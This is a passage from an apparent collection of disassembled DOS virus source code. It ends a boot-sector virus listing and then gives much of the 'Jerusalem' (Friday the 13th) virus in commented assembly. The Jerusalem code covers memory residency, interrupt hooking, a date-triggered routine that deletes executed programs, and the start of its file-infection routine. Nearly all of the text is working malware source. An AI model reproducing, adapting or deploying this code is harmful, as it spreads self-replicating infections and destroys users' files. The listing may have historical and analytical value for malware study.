  595.    JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
  596.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  597. ROW_AND_COLUMN: 
  598.    MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
  599.    MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
  600.    MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
  601.    MOV   AH,3           ; GET CURSOR ADDRESS
  602.    INT   10H            ; VDU INTERRUPT
  603.    PUSH  DX             ; SAVE CURSOR ADDRESS
  604.    MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
  605.    JMP   SHORT VIDEO_01
  606.  
  607. CHARACTER_ATTRIB: 
  608.    MOV   AH,3        ; GET CURSOR ADDRESS
  609.    INT   10H         ; VDU INTERRUPT
  610.    PUSH  DX
  611.    MOV   AH,2        ; SET CURSOR ADDRESS
  612.    MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
  613.    INT   10H         ; VDU INTERRUPT
  614.    MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
  615.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  616.    JNZ   WRITE_CHAR      ; BRANCH IF NOT
  617.    MOV   AX,8307H    ; CHARACTER AND WRITE MODE
  618. WRITE_CHAR: 
  619.    MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
  620.    MOV   CX,1        ; ONLY ONCE
  621.    MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
  622.    INT   10H         ; VDU INTERRUPT
  623. VIDEO_01: 
  624.    MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
  625.    CMP   DH,0           ; IS ROW ZERO
  626.    JNZ   VIDEO_02         ; BRANCH IF NOT
  627.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  628.    INC   CH             ; /
  629. VIDEO_02: 
  630.    CMP   DH,18H         ; IS ROW 24
  631.    JNZ   VIDEO_04         ; BRANCH IF NOT
  632.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  633.    INC   CH             ; /
  634. VIDEO_04: 
  635.    CMP   DL,0           ; IS COLUMN 0
  636.    JNZ   VIDEO_05         ; BRANCH IF NOT
  637.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  638.    INC   CL             ; /
  639. VIDEO_05: 
  640.    CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
  641.    JNZ   VIDEO_07         ; BRANCH IF NOT
  642.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  643.    INC   CL             ; /
  644. VIDEO_07: 
  645.    CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
  646.    JNZ   VIDEO_09         ; BRANCH IF CHANGED
  647.    MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
  648.    AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
  649.    CMP   AL,3           ; TEST BITS 1 AND 2
  650.    JNZ   VIDEO_08         ; BRANCH IF OFF
  651.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  652.    INC   CH             ; /
  653. VIDEO_08: 
  654.    CMP   AL,5           ; TEST BITS 1 AND 3
  655.    JNZ   VIDEO_09         ; BRANCH IF OFF
  656.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  657.    INC   CL             ; /
  658. VIDEO_09: 
  659.    ADD   DL,CL       ; NEW COLUMN POSITION
  660.    ADD   DH,CH       ; NEW ROW POSITION
  661.    MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
  662.    MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
  663.    MOV   AH,2        ; SET CURSOR ADDRESS
  664.    INT   10H         ; VDU INTERRUPT
  665.    MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
  666.    INT   10H         ; VDU INTERRUPT
  667.    MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
  668.    MOV   BL,AH       ; MOVE ATTRIBUTES
  669.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  670.    JNZ   VIDEO_10      ; BRANCH IF NOT
  671.    MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
  672. VIDEO_10: 
  673.    MOV   CX,1        ; ONCE ONLY
  674.    MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
  675.    INT   10H         ; VDU INTERRUPT
  676.    POP   DX          ; RESTORE CURSOR ADDRESS
  677.    MOV   AH,2        ; SET CURSOR ADDRESS
  678.    INT   10H         ; VDU INTERRUPT
  679.    POP   DX
  680.    POP   CX
  681.    POP   BX
  682.    POP   AX
  683.    POP   DS
  684.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
  685.    DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
  686.    DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT
  687.  
  688.    DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
  689.    DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
  690.    DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
  691.    DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
  692.    DW 3           ; MODEAP - MODE AND ACTIVE PAGE
  693.    DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1
  694.  
  695.  
  696.    DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
  697.    DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
  698.    DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
  699.    DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
  700.    DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
  701.  
  702.    ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
  703.  
  704. CODE  ENDS
  705.  
  706.    END   START
  707.  
  708.  
  709.  
  710. ***************************************************************************
  711. ---------------------------------------------------------------------------
  712. ---------------------------------------------------------------------------
  713. ***************************************************************************
  714.  
  715. The "Jerusalem" virus.
  716. Also Called - Israeli, PLO, Friday the 13th - Version A
  717.  
  718.  
  719.     PAGE 64,132
  720. ;-----------------------------------------------------------------------;
  721. ; THE "JERUSALEM" VIRUS                               ;
  722. ;-----------------------------------------------------------------------;
  723.                         ;
  724.     ORG  100H           ;
  725.                         ;
  726. ;-----------------------------------------------------------------------;
  727. ; JERUSALEM VIRUS                                ;
  728. ;-----------------------------------------------------------------------;
  729. BEGIN_COM:                   ;COM FILES START HERE
  730.     JMP  CONTINUE       ;
  731.                         ;
  732. ;-----------------------------------------------------------------------;
  733. ;                                           ;
  734. ;-----------------------------------------------------------------------;
  735. A0103         DB      073H,055H
  736.  
  737. MS_DOS        DB   'MsDos'        ;
  738.  
  739.          DB   000H,001H,015H,018H
  740.  
  741. TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!
  742.  
  743.          DB   000H
  744. A0010         DB   000H
  745.  
  746. A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)
  747.  
  748. OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)
  749.  
  750. OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR
  751. OLD_24        DW   0556H,16A5H    ;001B
  752.  
  753. A_FLAG        DW   7E48H          ;???
  754.  
  755. A0021         DB   000H,000H,000H,000H,000H,000H,000H
  756.          DB   000H,000H,000H,000H
  757.  
  758. A002C         DW   0         ;A SEGMENT
  759.  
  760.          DB   000H,000H
  761. A0030         DB   000H
  762.  
  763. A0031         DW   0178EH         ;OLD ES VALUE
  764.  
  765. A0033         DW   0080H          ;
  766.                         ;
  767. EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035
  768.          DW   80H       ;COMMAND LINE ADDRESS
  769.          DW   178EH          ;+4
  770.          DW   005CH          ;FCB #1 ADDRESS
  771.          DW   178EH          ;+8
  772.          DW   006CH          ;FCB #2 ADDRESS
  773.          DW   0178EH         ;+12
  774.                         ;
  775. HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043
  776. HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)
  777. HOST_IP       DW   00C5H          ;
  778. HOST_CS       DW   347AH          ;
  779. ;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
  780.                         ;
  781. A004B         DW   0F010H              ;
  782. A004D         DB   82H            ;
  783. A004E         DB   0              ;
  784.  
  785. EXE_HDR       DB   1CH DUP (?)         ;004F
  786.  
  787. A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST
  788.  
  789. HANDLE        DW   0005H               ;0070
  790. HOST_ATT DW   0020H               ;0072
  791. HOST_DATE     DW   0021H               ;0074
  792. HOST_TIME     DW   002DH               ;0076
  793.  
  794. BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK
  795.  
  796. A007A         DW   0010H
  797.  
  798. HOST_SIZE     DW   27C0H,0001H         ;007C
  799. HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME
  800.  
  801. COMMAND_COM   DB   'COMMAND.COM'
  802.  
  803.          DB   1
  804. A0090         DB   0,0,0,0,0
  805.  
  806. ;-----------------------------------------------------------------------;
  807. ;                                           ;
  808. ;-----------------------------------------------------------------------;
  809. CONTINUE:                    ;
  810.     CLD                 ;
  811.     MOV  AH,0E0H             ;DO A ???...
  812.     INT  21H            ;
  813.                         ;
  814.     CMP  AH,0E0H             ;
  815.     JNC  L01B5               ;
  816.     CMP  AH,3           ;
  817.     JC   L01B5               ;
  818.                         ;
  819.     MOV  AH,0DDH             ;
  820.     MOV  DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
  821.     MOV  SI,0710H       ;SI = SIZE OF OUR (VIRUS) CODE
  822.     ADD  SI,DI               ;SI = BEGINNING OF HOST CODE
  823.     MOV  CX,CS:[DI+11H]      ;CX = (SIZE OF HOST CODE?)
  824.     INT  21H            ;
  825.                         ;
  826. L01B5:   MOV  AX,CS               ;TWEEK CODE SEGMENT BY 100H
  827.     ADD  AX,10H              ;
  828.     MOV  SS,AX               ;SS = TWEEKed CS
  829.     MOV  SP,700H             ;SP = END OF OUR CODE (VIRUS)
  830.                         ;
  831. ;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
  832.                         ;
  833.     PUSH AX             ;JMP FAR CS+10H:IP-100H
  834.     MOV  AX,offset BEGIN_EXE - offset BEGIN_COM
  835.     PUSH AX             ;
  836.     RETF                ;
  837.                         ;
  838. ;---------------------------------------;
  839.     ORG  0C5h           ;
  840. ;---------------------------------------;
  841.                         ;
  842. BEGIN_EXE:                   ;EXE FILES START HERE
  843.     CLD                 ;
  844.     PUSH ES             ;
  845.                         ;
  846.     MOV  CS:[A0031],ES       ;
  847.     MOV  CS:[EXEC_BLOCK+4],ES     ;INIT EXEC_BLOCK SEG VALUES
  848.     MOV  CS:[EXEC_BLOCK+8],ES     ;
  849.     MOV  CS:[EXEC_BLOCK+12],ES    ;
  850.                         ;
  851.     MOV  AX,ES               ;TWEEK ES SAME AS CS ABOVE
  852.     ADD  AX,10H              ;
  853.     ADD  CS:[HOST_CS],AX          ;   SAVE NEW ES VALUE
  854.     ADD  CS:[HOST_SS],AX          ;
  855.                         ;
  856.     MOV  AH,0E0H             ;
  857.     INT  21H            ;
  858.                         ;
  859.     CMP  AH,0E0H             ;
  860.     JNC  L0106               ;00F1     7313
  861.                         ;
  862.     CMP  AH,3           ;
  863.     POP  ES             ;00F6
  864.     MOV  SS,CS:[HOST_SS]          ;
  865.     MOV  SP,CS:[HOST_SP]          ;
  866.     JMP  far CS:[HSOT_IP]    ;
  867.                         ;
  868. L0106:   XOR  AX,AX               ;0106     33C0
  869.     MOV  ES,AX               ;0108     8EC0
  870.     MOV  AX,ES:[03FC]        ;010A     26A1FC03
  871.     MOV  CS:[A004B],AX       ;010E     2EA34B00
  872.     MOV  AL,ES:[03FE]        ;0112     26A0FE03
  873.     MOV  CS:[A004D],AL       ;0116     2EA24D00
  874.     MOV  Word ptr ES:[03FC],A5F3  ;011A     26C706FC03F3A5
  875.     MOV  Byte ptr ES:[03FE],CB    ;0121     26C606FE03CB
  876.     POP  AX             ;0127     58
  877.     ADD  AX,10H              ;0128     051000
  878.     MOV  ES,AX               ;012B     8EC0
  879.     PUSH CS             ;012D     0E
  880.     POP  DS             ;012E     1F
  881.     MOV  CX,710H             ;SIZE OF VIRUS CODE
  882.     SHR  CX,1           ;0132     D1E9
  883.     XOR  SI,SI               ;0134     33F6
  884.     MOV  DI,SI               ;0136     8BFE
  885.     PUSH ES             ;0138     06
  886.     MOV  AX,0142             ;0139     B84201
  887.     PUSH AX             ;013C     50
  888.     JMP  0000:03FC      ;013D     EAFC030000
  889.                         ;
  890.     MOV  AX,CS               ;0142     8CC8
  891.     MOV  SS,AX               ;0144     8ED0
  892.     MOV  SP,700H             ;0146     BC0007
  893.     XOR  AX,AX               ;0149     33C0
  894.     MOV  DS,AX               ;014B     8ED8
  895.     MOV  AX,CS:[A004B]       ;014D     2EA14B00
  896.     MOV  [03FC],AX      ;0151     A3FC03
  897.     MOV  AL,CS:[A004D]       ;0154     2EA04D00
  898.     MOV  [03FE],AL      ;0158     A2FE03
  899.     MOV  BX,SP               ;015B     8BDC
  900.     MOV  CL,04               ;015D     B104
  901.     SHR  BX,CL               ;015F     D3EB
  902.     ADD  BX,+10              ;0161     83C310
  903.     MOV  CS:[A0033],BX       ;
  904.                         ;
  905.     MOV  AH,4AH              ;
  906.     MOV  ES,CS:[A0031]       ;
  907.     INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
  908.                         ;
  909.     MOV  AX,3521             ;
  910.     INT  21H            ;GET VECTOR
  911.     MOV  CS:[OLD_21],BX      ;
  912.     MOV  CS:[OLD_21+2],ES    ;
  913.                         ;
  914.     PUSH CS             ;0181     0E
  915.     POP  DS             ;0182     1F
  916.     MOV  DX,offset NEW_INT_21     ;0183     BA5B02
  917.     MOV  AX,2521             ;
  918.     INT  21H            ;SAVE VECTOR
  919.                         ;
  920.     MOV  ES,[A0031]          ;018B     8E063100
  921.     MOV  ES,ES:[A002C]       ;018F     268E062C00
  922.     XOR  DI,DI               ;0194     33FF
  923.     MOV  CX,7FFFH       ;0196     B9FF7F
  924.     XOR  AL,AL               ;0199     32C0
  925.     REPNE     SCASB               ;019C     AE
  926.     CMP  ES:[DI],AL          ;019D     263805
  927.     LOOPNZ    019B           ;01A0     E0F9
  928.     MOV  DX,DI               ;01A2     8BD7
  929.     ADD  DX,+03              ;01A4     83C203
  930.     MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
  931.     PUSH ES             ;
  932.     POP  DS             ;
  933.     PUSH CS             ;
  934.     POP  ES             ;
  935.     MOV  BX,35H              ;
  936.                         ;
  937.     PUSH DS        ;01B1     ;
  938.     PUSH ES             ;
  939.     PUSH AX             ;
  940.     PUSH BX             ;
  941.     PUSH CX             ;
  942.     PUSH DX             ;
  943.                         ;
  944.     MOV  AH,2AH              ;
  945.     INT  21H            ;GET DATE
  946.                         ;
  947.     MOV  Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
  948.                         ;
  949.     CMP  CX,1987             ;IF 1987...
  950.     JE   L01F7               ;...JUMP
  951.     CMP  AL,5           ;IF NOT FRIDAY...
  952.     JNE  L01D8               ;...JUMP
  953.     CMP  DL,0DH              ;IF DATE IS NOT THE 13th...
  954.     JNE  L01D8               ;...JUMP
  955.     INC  Byte ptr CS:[TIME_BOMB]  ;TIC THE BOMB COUNT
  956.     JMP  L01F7               ;
  957.                         ;
  958. L01D8:   MOV  AX,3508H       ;GET CLOCK TIMER VECTOR
  959.     INT  21H            ;GET VECTOR
  960.     MOV  CS:[OLD_08],BX      ;
  961.     MOV  CS:[OLD_08],ES      ;
  962.                         ;
  963.     PUSH CS             ;DS=CS
  964.     POP  DS             ;
  965.                         ;
  966.     MOV  Word ptr [A_FLAG],7E90H  ;
  967.                         ;
  968.     MOV  AX,2508H       ;SET NEW CLOCK TIC HANDLER
  969.     MOV  DX,offset NEW_08    ;
  970.     INT  21H            ;SET VECTOR
  971.                         ;
  972. L01F7:   POP  DX             ;
  973.     POP  CX             ;
  974.     POP  BX             ;
  975.     POP  AX             ;
  976.     POP  ES             ;
  977.     POP  DS             ;
  978.     PUSHF                    ;
  979.     CALL far CS:[OLD_21]     ;
  980.     PUSH DS             ;
  981.     POP  ES             ;
  982.                         ;
  983.     MOV  AH,49H              ;
  984.     INT  21H            ;FREE ALLOCATED MEMORY
  985.                         ;
  986.     MOV  AH,4DH              ;
  987.     INT  21H            ;GET RETURN CODE OF A SUBPROCESS
  988.                         ;
  989. ;---------------------------------------;
  990. ; THIS IS WHERE WE REMAIN RESIDENT     ;
  991. ;---------------------------------------;
  992.     MOV  AH,31H              ;
  993.     MOV  DX,0600H  ;020F     ;
  994.     MOV  CL,04               ;
  995.     SHR  DX,CL               ;
  996.     ADD  DX,10H              ;
  997.     INT  21H            ;TERMINATE AND REMAIN RESIDENT
  998.                         ;
  999. ;---------------------------------------;
  1000. NEW_24:  XOR  AL,AL          ;021B     ;CRITICAL ERROR HANDLER
  1001.     IRET                ;
  1002.                         ;
  1003. ;-----------------------------------------------------------------------;
  1004. ; NEW INTERRUPT 08 (CLOCK TIC) HANDLER                     ;
  1005. ;-----------------------------------------------------------------------;
  1006. NEW_08:  CMP  Word ptr CS:[A_FLAG],2   ;021E
  1007.     JNE  N08_10              ;IF ... JUMP
  1008.                         ;
  1009.     PUSH AX             ;
  1010.     PUSH BX             ;
  1011.     PUSH CX             ;
  1012.     PUSH DX             ;
  1013.     PUSH BP             ;
  1014.     MOV  AX,0602H       ;SCROLL UP TWO LINES
  1015.     MOV  BH,87H              ;INVERSE VIDEO ATTRIBUTE
  1016.     MOV  CX,0505H       ;UPPER LEFT CORNER
  1017.     MOV  DX,1010H       ;LOWER RIGHT CORNER
  1018.     INT  10H            ;
  1019.     POP  BP             ;
  1020.     POP  DX             ;
  1021.     POP  CX             ;
  1022.     POP  BX             ;
  1023.     POP  AX             ;
  1024.                         ;
  1025. N08_10:  DEC  Word ptr CS:[A_FLAG]     ;
  1026.     JMP  N08_90              ;  
  1027.     MOV  Word ptr CS:[A_FLAG],1   ;
  1028.                         ;
  1029.     PUSH AX             ;
  1030.     PUSH CX             ;
  1031.     PUSH SI             ;  THIS DELAY CODE NEVER GETS EXECUTED  
  1032.     MOV  CX,4001H       ;  IN THIS VERSION
  1033.     REP  LODSB          ; 
  1034.     POP  SI             ;
  1035.     POP  CX             ;
  1036.     POP  AX             ;
  1037.                         ;
  1038. N08_90:  JMP  far CS:[OLD_08]          ;PASS CONTROL TO OLD INT 08 VECTOR
  1039.                         ;
  1040. ;-----------------------------------------------------------------------;
  1041. ; NEW INTERRUPT 21 HANDLER                            ;
  1042. ;-----------------------------------------------------------------------;
  1043. NEW_21:  PUSHF               ;025B     ;
  1044.     CMP  AH,0E0H             ;IF A E0 REQUEST...
  1045.     JNE  N21_10              ;
  1046.     MOV  AX,300H             ;...RETURN AX = 300H
  1047.     POPF                ;   (OUR PUSHF)
  1048.     IRET                ;
  1049.                         ;
  1050. N21_10:  CMP  AH,0DDH        ;0266     ;
  1051.     JE   N21_30              ;IF DDH...JUMP TO _30
  1052.     CMP  AH,0DEH             ;
  1053.     JE   N21_40              ;IF DEH...JUMP TO _40
  1054.     CMP  AX,4B00H       ;IF SPAWN A PROG...
  1055.     JNE  N21_20              ;
  1056.     JMP  N21_50              ;...JUMP TO _50
  1057.                         ;
  1058. N21_20:  POPF                ;   (OUR PUSHF)
  1059.     JMP  far CS:[OLD_21]          ;ANY OTHER INT 21 GOES TO OLD VECTOR
  1060.                         ;
  1061. N21_30:  POP  AX             ;REMOVE OUR (PUSHF)
  1062.     POP  AX             ;?
  1063.     MOV  AX,100H             ;
  1064.     MOV  CS:[000A],AX        ;
  1065.     POP  AX             ;
  1066.     MOV  CS:[000C],AX        ;
  1067.     REP  MOVSB               ;
  1068.     POPF                ;   (OUR PUSHF)
  1069.     MOV  AX,CS:[000F]        ;
  1070.     JMP  far CS:[000A]       ;
  1071.                         ;
  1072. N21_40:  ADD  SP,+06         ;0298     ;
  1073.     POPF                ;   (OUR PUSHF)
  1074.     MOV  AX,CS               ;
  1075.     MOV  SS,AX               ;
  1076.     MOV  SP,710H             ;SIZE OF VIRUS CODE
  1077.     PUSH ES             ;
  1078.     PUSH ES             ;02A4     06
  1079.     XOR  DI,DI               ;02A5     33FF
  1080.     PUSH CS             ;02A7     0E
  1081.     POP  ES             ;02A8     07
  1082.     MOV  CX,0010             ;02A9     B91000
  1083.     MOV  SI,BX               ;02AC     8BF3
  1084.     MOV  DI,0021             ;02AE     BF2100
  1085.     REP  MOVSB               ;02B2     A4
  1086.     MOV  AX,DS               ;02B3     8CD8
  1087.     MOV  ES,AX               ;02B5     8EC0
  1088.     MUL  Word ptr CS:[A007A] ;02B7     2EF7267A00
  1089.     ADD  AX,CS:[002B]        ;02BC     2E03062B00
  1090.     ADC  DX,+00              ;02C1     83D200
  1091.     DIV  Word ptr CS:[A007A] ;02C4     2EF7367A00
  1092.     MOV  DS,AX               ;02C9     8ED8
  1093.     MOV  SI,DX               ;02CB     8BF2
  1094.     MOV  DI,DX               ;02CD     8BFA
  1095.     MOV  BP,ES               ;02CF     8CC5
  1096.     MOV  BX,CS:[002F]        ;02D1     2E8B1E2F00
  1097.     OR   BX,BX               ;02D6     0BDB
  1098.     JE   02ED           ;02D8     7413
  1099.     MOV  CX,8000             ;02DA     B90080
  1100.     REP  MOVSW               ;02DE     A5
  1101.     ADD  AX,1000             ;02DF     050010
  1102.     ADD  BP,1000             ;02E2     81C50010
  1103.     MOV  DS,AX               ;02E6     8ED8
  1104.     MOV  ES,BP               ;02E8     8EC5
  1105.     DEC  BX             ;02EA     4B
  1106.     JNE  02DA           ;02EB     75ED
  1107.     MOV  CX,CS:[002D]        ;02ED     2E8B0E2D00
  1108.     REP  MOVSB               ;02F3     A4
  1109.     POP  AX             ;02F4     58
  1110.     PUSH AX             ;02F5     50
  1111.     ADD  AX,0010             ;02F6     051000
  1112.     ADD  CS:[0029],AX        ;02F9     2E01062900
  1113.     ADD  CS:[0025],AX        ;02FE     2E01062500
  1114.     MOV  AX,CS:[0021]        ;0303     2EA12100
  1115.     POP  DS             ;0307     1F
  1116.     POP  ES             ;0308     07
  1117.     MOV  SS,CS:[0029]        ;0309     2E8E162900
  1118.     MOV  SP,CS:[0027]        ;030E     2E8B262700
  1119.     JMP  far CS:[0023]       ;0313     2EFF2E2300
  1120.                         ;
  1121. ;---------------------------------------;
  1122. ; IT IS TIME FOR THIS FILE TO DIE...   ;
  1123. ; THIS IS WHERE IT GETS DELETED ! ;
  1124. ;---------------------------------------;
  1125. N21_5A:  XOR  CX,CX               ;
  1126.     MOV  AX,4301H       ;
  1127.     INT  21H            ;CHANGE FILE MODE (ATT=0)
  1128.                         ;
  1129.     MOV  AH,41H              ;
  1130.     INT  21H            ;DELETE A FILE
  1131.                         ;
  1132.     MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
  1133.     POPF                ;   (OUR PUSHF)
  1134.     JMP  far CS:[OLD_21]          ;
  1135.                         ;
  1136. ;---------------------------------------;
  1137. ; START INFECTION            ;
  1138. ;---------------------------------------;
  1139. N21_50:  CMP  Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
  1140.     JE   N21_5A              ;...JUMP
  1141.                         ;
  1142.     MOV  Word ptr CS:[HANDLE],-1  ;ASSUME NOT OPEN
  1143.     MOV  Word ptr CS:[A008F],0    ;
  1144.     MOV  word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
  1145.     MOV  word ptr CS:[HOST_NAME+2],DS ;
  1146.                         ;
  1147. ;INFECTION PROCESS OCCURS HERE    ;
  1148.     PUSH AX             ;034C     50
  1149.     PUSH BX             ;034D     53
  1150.     PUSH CX             ;034E     51
  1151.     PUSH DX             ;034F     52
  1152.     PUSH SI             ;0350     56
  1153.     PUSH DI             ;0351     57
  1154.     PUSH DS             ;0352     1E
  1155.     PUSH ES             ;0353     06
  1156.     CLD                 ;0354     FC
  1157.     MOV  DI,DX               ;0355     8BFA
  1158.     XOR  DL,DL               ;0357     32D2
  1159.     CMP  Byte ptr [DI+01],3A ;0359     807D013A
  1160.     JNE  L0364               ;035D     7505
  1161.     MOV  DL,[DI]             ;035F     8A15
  1162.     AND  DL,1F               ;0361     80E21F
  1163.                         ;
  1164. L0364:   MOV  AH,36               ;
  1165.     INT  21H            ;GET DISK FREE SPACE
  1166.     CMP  AX,-1               ;0368     3DFFFF
  1167.     JNE  L0370               ;036B     7503
  1168. L036D:   JMP  I_90           ;036D     E97702
  1169.                         ;
  1170. L0370:   MUL  BX             ;0370     F7E3
  1171.     MUL  CX             ;0372     F7E1
  1172.     OR   DX,DX               ;0374     0BD2
  1173.     JNE  L037D               ;0376     7505
  1174.     CMP  AX,710H             ;0378     3D1007
  1175.     JC   L036D               ;037B     72F0
  1176. L037D:   MOV  DX,word ptr CS:[HOST_NAME]
  1177.     PUSH DS             ;0382     1E
  1178.     POP  ES             ;0383     07
  1179.     XOR  AL,AL               ;0384     32C0
  1180.     MOV  CX,41               ;0386     B94100
  1181.     REPNE     SCASB               ;038A     AE
  1182.     MOV  SI,word ptr CS:[HOST_NAME]
  1183. L0390:   MOV  AL,[SI]             ;0390     8A04
  1184.     OR   AL,AL               ;0392     0AC0
  1185.     JE   L03A4               ;0394     740E
  1186.     CMP  AL,61               ;0396     3C61
  1187.     JC   L03A1               ;0398     7207
  1188.     CMP  AL,7A               ;039A     3C7A
  1189.     JA   L03A1               ;039C     7703
  1190.     SUB  Byte ptr [SI],20    ;039E     802C20
  1191. L03A1:   INC  SI             ;03A1     46
  1192.     JMP  L0390               ;03A2     EBEC
  1193.                         ;
  1194. L03A4:   MOV  CX,000B             ;03A4     B90B00
  1195.     SUB  SI,CX               ;03A7     2BF1
  1196.     MOV  DI,offset COMMAND_COM    ;03A9     BF8400
  1197.     PUSH CS             ;03AC     0E
  1198.     POP  ES             ;03AD     07
  1199.     MOV  CX,000B             ;03AE     B90B00
  1200.     REPE CMPSB               ;03B2     A6
  1201.     JNE  L03B8               ;03B3     7503
  1202.     JMP  I_90           ;03B5     E92F02
  1203.                         ;
  1204. L03B8:   MOV  AX,4300H       ;
  1205.     INT  21H            ;CHANGE FILE MODE
  1206.     JC   L03C4               ;03BD     7205
  1207.                         ;
  1208.     MOV  CS:[HOST_ATT],CX    ;03BF     ;
  1209. L03C4:   JC   L03EB               ;03C4     7225
  1210.     XOR  AL,AL               ;03C6     32C0
  1211.     MOV  CS:[A004E],AL       ;03C8     2EA24E00
  1212.     PUSH DS             ;03CC     1E
  1213.     POP  ES             ;03CD     07
  1214.     MOV  DI,DX               ;03CE     8BFA
  1215.     MOV  CX,41               ;03D0     B94100
  1216.     REPNZ     SCASB               ;03D4     AE
  1217.     CMP  Byte ptr [DI-02],4D ;03D5     807DFE4D
  1218.     JE   L03E6               ;03D9     740B
  1219.     CMP  Byte ptr [DI-02],6D ;03DB     807DFE6D
  1220.     JE   L03E6               ;03DF     7405
  1221.     INC  Byte ptr CS:[A004E] ;03E1     2EFE064E00
  1222.                         ;
  1223. L03E6:   MOV  AX,3D00H       ;
  1224.     INT  21H            ;OPEN FILE READ ONLY
  1225. L03EB:   JC   L0447               ;
  1226.     MOV  CS:[HANDLE],AX ;03ED     ;
  1227.                         ;
  1228.     MOV  BX,AX               ;MOVE TO END OF FILE -5
  1229.     MOV  AX,4202             ;
  1230.     MOV  CX,-1               ;FFFFFFFB
  1231.     MOV  DX,-5               ;
  1232.     INT  21H            ;MOVE FILE POINTER
  1233.     JC   L03EB               ;
  1234.                         ;
  1235.     ADD  AX,5      ;0400     ;
  1236.     MOV  CS:[A0011],AX       ;?SAVE HOST SIZE
  1237.                         ;
  1238.     MOV  CX,5      ;0407     ;READ LAST 5 BYTES OF HOST
  1239.     MOV  DX,offset A006B          ;
  1240.     MOV  AX,CS               ;
  1241.     MOV  DS,AX               ;
  1242.     MOV  ES,AX               ;
  1243.     MOV  AH,3FH              ;
  1244.     INT  21H            ;READ FROM A FILE
  1245.                         ;
  1246.     MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
  1247.     MOV  SI,offset MS_DOS    ;
  1248.     REPE CMPSB               ;
  1249.     JNE  L0427               ;
  1250.     MOV  AH,3E               ;IF == 'MsDos'...
  1251.     INT  21H            ;CLOSE FILE
  1252.     JMP  I_90           ;...PASS CONTROL TO DOS
  1253.                         ;
  1254. L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
  1255.     INT  21H            ;GET VECTOR
  1256.     MOV  [OLD_24],BX         ;
  1257.     MOV  [OLD_24+2],ES       ;
  1258.                         ;
  1259.     MOV  DX,offset NEW_24    ;
  1260.     MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
  1261.     INT  21H            ;SET VECTOR
  1262.                         ;
  1263.     LDS  DX,dword ptr [HOST_NAME];
  1264.     XOR  CX,CX               ;
  1265.     MOV  AX,4301H       ;
  1266.     INT  21H            ;CHANGE FILE MODE
  1267. L0447:   JC   L0484               ;
  1268.                         ;
  1269.     MOV  BX,CS:[HANDLE]      ;
  1270.     MOV  AH,3E               ;
  1271.     INT  21H            ;CLOSE FILE
  1272.                         ;
